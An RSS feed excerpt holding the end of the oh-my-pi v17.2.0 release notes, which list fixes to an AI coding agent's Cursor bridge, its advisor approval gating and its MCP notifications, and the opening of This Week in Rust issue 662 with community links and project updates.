<li>Fixed every native <code>pi_edit</code> failing after a session switched onto Cursor. The replace-mode <code>edit</code> instance the frame needs was built only for sessions <em>created</em> on Cursor, and the tool roster is not rebuilt on a model switch — so a session that started elsewhere kept its configured-mode <code>edit</code> in the registry, which the bridge resolves before its fallback, and the frame's <code>old_text</code>/<code>new_text</code> pairs failed validation against a <code>hashline</code> schema. The instance is now built from the <code>edit</code> grant regardless of the session's initial provider (lazily, so a session that never reaches Cursor never constructs one) and <code>pi_edit</code> asks for it explicitly through a dedicated accessor. A session that was never granted <code>edit</code> is still refused.</li>
<li>Fixed the Cursor bridge's tool resolver being able to execute an unadvertised <code>edit</code>. That resolver doubles as the agent loop's fallback for any call outside the advertised set, so serving <code>edit</code> from it meant a hallucinated call — or one naming a tool the session deselected after startup — could run a replace-mode edit the model was never offered. It is device-only again; <code>pi_edit</code> uses its own accessor.</li>
<li>Fixed the legacy Cursor <code>read</code> frame ignoring the <code>offset</code>/<code>limit</code> modern builds paginate with. Only the Pi variant composed a range, so every page of a legacy read returned the whole file (or its own truncation) and a model walking a large file never advanced past the first window. Both frames now translate a range through the same helper, and the answer sets <code>range_applied</code> to describe whether a window was actually composed.</li>
<li>Fixed the legacy Cursor <code>grep</code> frame ignoring its pagination <code>offset</code>. The local <code>grep</code> paginates by file through <code>skip</code> and advertises exactly that in its own "use skip=N" advice, so an unforwarded offset re-ran the identical search and answered page one for every page. The answer now reports the offset it applied in <code>offset_applied</code>.</li>
<li>Fixed a paginated Cursor <code>read</code> or <code>grep</code> frame being recorded as an unpaginated one. The executed call and the transcript block are built separately, so forwarding the frame's range and page fixed only the execution: the block still showed a bare path and an unskipped search, which is what a reloaded session replays and what the next turn reasons from — a slice of a file presented as the whole thing, and results from a later window presented as page one. Both are now synthesized from the same translation that runs them, including a <code>limit: 0</code> read, which is recorded as the zero lines it returns rather than a whole-file read.</li>
<li>Fixed Cursor advisors answering every MCP resource frame as though the client hosted no servers. Only the primary bridge received the <code>MCPManager</code>-backed resource adapter, so an advisor's <code>list_mcp_resources</code> reported an empty catalog and its <code>read_mcp_resource</code> a <code>not_found</code> even though the advisor shares the session's live connections. Advisors now receive the same adapter; it is not gated on a tool grant, since reading what a server advertises is a different permission from calling one of its tools.</li>
<li>Fixed advisor tools bypassing the approval gate. They are built straight from the builtin table, outside the loop that wraps every registry tool, and both the advisor's own agent loop and its Cursor exec bridge (<code>pi_write</code>, <code>pi_bash</code>) run those instances directly — so an advisor granted <code>write</code> or <code>bash</code> executed them regardless of a configured <code>ask</code> or <code>deny</code>. They now carry the same <code>ExtensionToolWrapper</code> as every other tool.</li>
<li>Added <code>mcp_notification</code> extension event and multi-listener <code>MCPManager.addNotificationListener</code> API. The runtime already received MCP server-initiated JSON-RPC notifications at the transport layer but had no path to forward them to extensions; every notification (including server-custom methods) is now delivered as <code>{ server, method, params }</code> after the manager's own list/update handling. For known list-change methods (<code>notifications/tools/list_changed</code>, <code>notifications/resources/list_changed</code>, <code>notifications/prompts/list_changed</code>) the internal refresh promise is awaited before fanout, so a listener acting on <code>tools/list_changed</code> sees fresh <code>getTools()</code>. Notifications received before any listener attaches are buffered (bounded FIFO, cap 100, drop-oldest — matches <code>IrcBus</code>'s <code>MAILBOX_CAP</code>) and drained into the first subscriber, so startup-time frames aren't lost even if the extension binds after MCP discovery. Extensions can use this to bridge push-capable MCP servers (e.g. peer messaging) into session behavior by injecting a mid-turn steer via <code>pi.sendMessage</code> / <code>pi.sendUserMessage</code>.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the dangling <code>MCPManager.setOnNotification</code> single-slot setter, which had no callers in the runtime. Replaced by <code>MCPManager.addNotificationListener</code> — multi-listener, per-listener error isolation, returns an unsubscribe function.</li>
</ul>
<h2>@oh-my-pi/collab-web</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed an issue where the agent would stop silently without a message by ensuring terminal auto-retry failures are properly surfaced as error notices.</li>
</ul>
<h2>@oh-my-pi/hashline</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed <code>DEL</code>, <code>DEL.BLK</code>, <code>COPY</code>, and <code>COPY.BLK</code> from the patch language. Use <code>CUT</code> / <code>CUT.BLK</code> for deletion; a cut does not require a following <code>PASTE</code> and leaves the removed content available to later pastes.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added clipboard ops: <code>CUT N.=M</code> captures lines into a register (and deletes them), <code>CUT.BLK N</code> captures tree-sitter blocks, and <code>PASTE.PRE|POST N</code> / <code>PASTE.HEAD|TAIL</code> / <code>PASTE.BLK.POST N</code> insert the captured lines without retyping. The register flows top-to-bottom across sections, so content moves between files in one patch; <code>PASTE</code> does not consume it and the last capture wins.</li>
<li>Added <code>PatcherOptions.clipboard</code> for a host-owned register that persists across <code>Patcher.apply</code> batches. Batches work on a fork (<code>forkClipboard</code>) published per landed section (<code>commitClipboard</code>), so failed batches never poison the register and a mid-batch write failure still preserves content already cut from disk.</li>
<li>Added clipboard safety guards: a <code>PASTE</code> with an empty register, a capture overwriting un-pasted <code>CUT</code> content, and clipboard ops in same-path sections interleaved across another file's section are all rejected with targeted diagnostics. <code>CUT</code> ranges participate in overlap validation, the seen-lines guard, and drift recovery (every captured line must remap).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Simplified <code>grammar.lark</code> around shared target and position shapes, collapsing the concrete and block <code>CUT</code> forms plus the <code>INS</code> / <code>PASTE</code> position variants into their common grammar rules.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Prevented CPU and memory exhaustion in streaming previews by rejecting line anchors above Number.MAX_SAFE_INTEGER and ranges spanning more than 100,000 lines.</li>
<li>Fixed an issue where recorded snapshot tags desynced from disk when the filesystem transformed content on write (e.g., auto-formatting on save), which previously caused subsequent edits to incorrectly reformat unrelated parts of the file. <code>Patcher.commit</code> now correctly keys the returned file hash and snapshot on the actual content written to disk and issues a warning when a drift is detected.</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Changed</h3>
<ul>
<li>Split the native voice engine (miniaudio capture/playback, WebRTC peer, Opus media) out of the <code>pi-natives</code> addon crate into a napi-free <code>pi-voice</code> rlib. The addon keeps thin <code>#[napi]</code> adapters, so the JS API is unchanged; the webrtc/opus/miniaudio dependency graph now compiles once into the library and no longer rebuilds with the addon leaf (which recompiles every release via its version-sentinel edit).</li>
<li>Release binaries now build in parallel with the test fan-out; npm leaf publishing moved to a dedicated post-validation job (<code>release_native_leaves</code>), and darwin release bazel caches are pre-warmed on native-affecting main pushes — cutting release wall time from the previous serialized tests → cold darwin build pipeline.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added response-level OSC 11 appearance subscriptions to help terminal consumers distinguish confirmed unchanged background classifications from missing replies.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed native Windows terminal panes freezing their host during forced closure by skipping the stdout-drain wait after ConPTY disconnects.</li>
<li>Fixed high CPU usage in the Loader spinner during idle waits by optimizing text wrapping and caching during frame updates.</li>
<li>Fixed hash-prefixed UUIDs in prose being misclassified as 8-digit CSS colors and receiving spurious swatches.</li>
<li>Fixed unbounded memory growth and potential host freezes when a PTY consumer stalls by capping the pending stdout backlog and treating undrained consumers as a disconnect.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>feat(coding-agent): autocomplete MCP server names in /mcp subcommands by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mathews-Tom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mathews-Tom">@Mathews-Tom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964038235" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6454" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6454/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6454">#6454</a></li>
<li>fix(tui): bound stdout backlog when the pty consumer stalls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994881362" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6856" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6856/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6856">#6856</a></li>
<li>fix(coding-agent): scope Advisor cost to the active session by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paolomazzitti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paolomazzitti">@paolomazzitti</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4996798160" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6883" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6883/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6883">#6883</a></li>
<li>docs: clarify ttsr edit/write matcherDigest is introduced lines by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4997533930" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6886" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6886/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6886">#6886</a></li>
<li>fix(ttsr): flag text-source inference for unlisted file extensions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4997597220" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6888" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6888/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6888">#6888</a></li>
<li>fix: forward parseArgs and CONFIG_DIR_NAME from the legacy pi shim by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gy-Hu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gy-Hu">@Gy-Hu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4999557428" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6907" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6907/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6907">#6907</a></li>
<li>feat(mcp): expose server-initiated notifications to extensions via mcp_notification event by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asteriskSF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asteriskSF">@asteriskSF</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970878648" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6535" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6535/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6535">#6535</a></li>
<li>feat(ai): add xAI API key login by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paralin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paralin">@paralin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977761531" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6647" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6647/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6647">#6647</a></li>
<li>feat(coding-agent): add opt-in max ceiling for auto thinking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everton-dgn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everton-dgn">@everton-dgn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979453514" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6680" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6680/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6680">#6680</a></li>
<li>feat: add opt-in Codex reset fireworks by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshrzemien/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshrzemien">@joshrzemien</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994940233" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6858" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6858/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6858">#6858</a></li>
<li>feat(coding-agent): allow checkpoint/rewind/learn/manage_skill in subagents when explicitly requested by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szavadsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szavadsky">@szavadsky</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5003316625" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6938" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6938/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6938">#6938</a></li>
<li>feat(extensions): expose session async job snapshots by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usr-bin-roygbiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usr-bin-roygbiv">@usr-bin-roygbiv</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5003718821" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6939" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6939/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6939">#6939</a></li>
<li>feat(tools): add a browser.cdpUrl setting for the default automation target by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/terrxo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/terrxo">@terrxo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5008085193" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7007" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7007/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7007">#7007</a></li>
<li>fix(ai): bound Anthropic retry-after waits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/metaphorics/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/metaphorics">@metaphorics</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5010843656" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7028" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7028/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7028">#7028</a></li>
<li>feat(rpc): expose live fast-mode control and token throughput by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fredluz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fredluz">@fredluz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5012492284" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7036" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7036/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7036">#7036</a></li>
<li>Umans usage provider by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hpost/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hpost">@hpost</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806862967" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/4484" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/4484/hovercard" href="https://github.com/can1357/oh-my-pi/pull/4484">#4484</a></li>
<li>feat(ai): add Exa API key login by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/will-bogusz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/will-bogusz">@will-bogusz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978125728" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6652" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6652/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6652">#6652</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gy-Hu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gy-Hu">@Gy-Hu</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4999557428" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6907" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6907/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6907">#6907</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asteriskSF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asteriskSF">@asteriskSF</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970878648" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6535" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6535/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6535">#6535</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshrzemien/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshrzemien">@joshrzemien</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994940233" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6858" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6858/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6858">#6858</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szavadsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szavadsky">@szavadsky</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5003316625" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6938" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6938/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6938">#6938</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/terrxo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/terrxo">@terrxo</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5008085193" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7007" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7007/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7007">#7007</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fredluz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fredluz">@fredluz</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5012492284" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7036" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7036/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7036">#7036</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hpost/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hpost">@hpost</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806862967" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/4484" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/4484/hovercard" href="https://github.com/can1357/oh-my-pi/pull/4484">#4484</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v17.1.8...v17.2.0">v17.1.8...v17.2.0</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 662]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3698405/tools/this-week-in-rust-this-week-in-rust-662/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698405/tools/this-week-in-rust-this-week-in-rust-662/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:18 +0200</pubDate>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://scientificcomputing.rs/monthly/2026-07">Scientific Computing in Rust #20 (July 2026)</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://github.com/fodydev/afrim/releases/tag/v0.7.0">afrim 0.7.0: a generic input method framework</a></li>
<li><a href="https://github.com/TamedTornado/cargo-reapi/blob/main/docs/introducing-cargo-reapi.md">Sharing Rust build work across Cargo worktrees with cargo-reapi</a></li>
<li><a href="https://github.com/Le-Syl21/exiftool-rs/releases/tag/v0.7.0">exiftool-rs 0.7.0: localizing ExifTool's PrintConv values, not just its labels</a></li>
<li><a href="https://www.sea-ql.org/blog/2026-07-27-sea-orm-2.0/">Announcing SeaORM 2.0</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.37.0">kobe 0.37.0: easier to deploy and install</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.12.0">kache 0.12.0: pluggable remotes, smarter GC, sharper diagnostics</a></li>
<li><a href="https://lwn.net/SubscriberLink/1083202/f1ba926cd57ac5c5/">Progress toward compiling Linux with gccrs</a></li>
<li><a href="https://flodl.dev/blog/then-i-looked-at-it">flodl 0.7.0: one dashboard view, repeated at every level</a></li>
<li><a href="https://github.com/singhpratech/samkhya/releases/tag/v1.2.1">samkhya 1.2.1 — the join-cardinality ceiling becomes provable</a></li>
<li><a href="https://brewfs.ai/en/blog/introducing-brewfs">BrewFS: a Rust and JuiceFS-like distributed filesystem</a> </li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://shnatsel.github.io/improving-std-simd-swizzle-dyn/">Improving std::simd::swizzle_dyn</a></li>
<li><a href="https://ferrous-systems.com/blog/query-cycles-a-compiler-murder-mystery/">Query cycles: A compiler murder mystery</a></li>
<li><a href="https://notnite.com/blog/gdpatch">GDPatch: a versatile Godot mod loader</a></li>
<li><a href="https://itsallaboutthebit.com/memory-safety-absolutists/">Memory Safety Absolutists</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/27/cpp-to-rust-migration/">C++ to Rust Migration</a></li>
<li><a href="https://developerlife.com/2026/07/14/build-high-performance-flat-2d-arrays-in-rust/">High-Performance Flat 2D Arrays in Rust with SIMD, L1 Cache</a></li>
<li><a href="https://teaql.io/blog/java-rust-microservice-integration-with-teaql/">Building Java–Rust Microservices with TeaQL: Models, Events, and Audit Intent</a></li>
<li><a href="https://www.99francs.agency/blog/python-to-rust-trading-bot-migration">How We Cut a Trading Bot's Reaction Time from ~2 Seconds to Milliseconds — by Moving Only the Hot Path to Rust</a></li>
<li><a href="https://c410-f3r.github.io/thoughts/esp32-server-distributing-http2-streams-over-tls">ESP32 Server: Distributing HTTP/2 streams over TLS</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=ut5EHZ2FK0c">Rust Berlin Talks · 23/07/2026</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://ai-router.hashnode.dev/rust-llm-stream-retry-safety">No Tokens Yet Does Not Mean a Rust LLM Stream Is Safe to Retry</a></li>
<li>[series] <a href="https://plabayo.tech/blog/rama-101-2-core-concepts">Rama 101.2: Core Concepts</a></li>
<li>[video] [series] <a href="https://www.youtube.com/watch?v=rBzPw6WurN0">What's Inside Axum?</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://codeberg.org/filmroellchen/cargo-efmt">cargo-efmt</a>, a drop-in replacement for cargo fmt to support <code>.editorconfig</code>.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1632">kleines Filmröllchen</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
